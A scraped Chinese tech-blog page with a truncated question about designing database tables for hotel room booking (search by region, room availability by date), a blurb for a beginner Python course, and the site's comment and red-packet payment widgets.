1、酒店预订怎么实现？怎么设计表   你好，我大概的说下我们的业务流程，我们的业务流程是：用户在网站浏览酒店信息，可以根据地区检索出该地区的酒店信息。列表展示酒店的信息由：酒店的名称，酒店图片，酒店位置，评论人数，评论分数以及最低入住价格。用户选中要入住的酒店进入酒店详情页面，查看酒店的介绍以及酒店的房型列表，用户根据他要入住的时间和离店的时间，检索出这个时间段内的所有可选房型（房间数量-当
Python零基础入门：全面教程与实战项目
小甲鱼的《零基础入门学习Python》课堂笔记是一份详细且适合初学者的教程，它以生动的方式引导读者从零开始探索Python的世界。课程内容涵盖了Python语言的基础知识和进阶概念，按照循序渐进的结构编排，便于逐步掌握...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值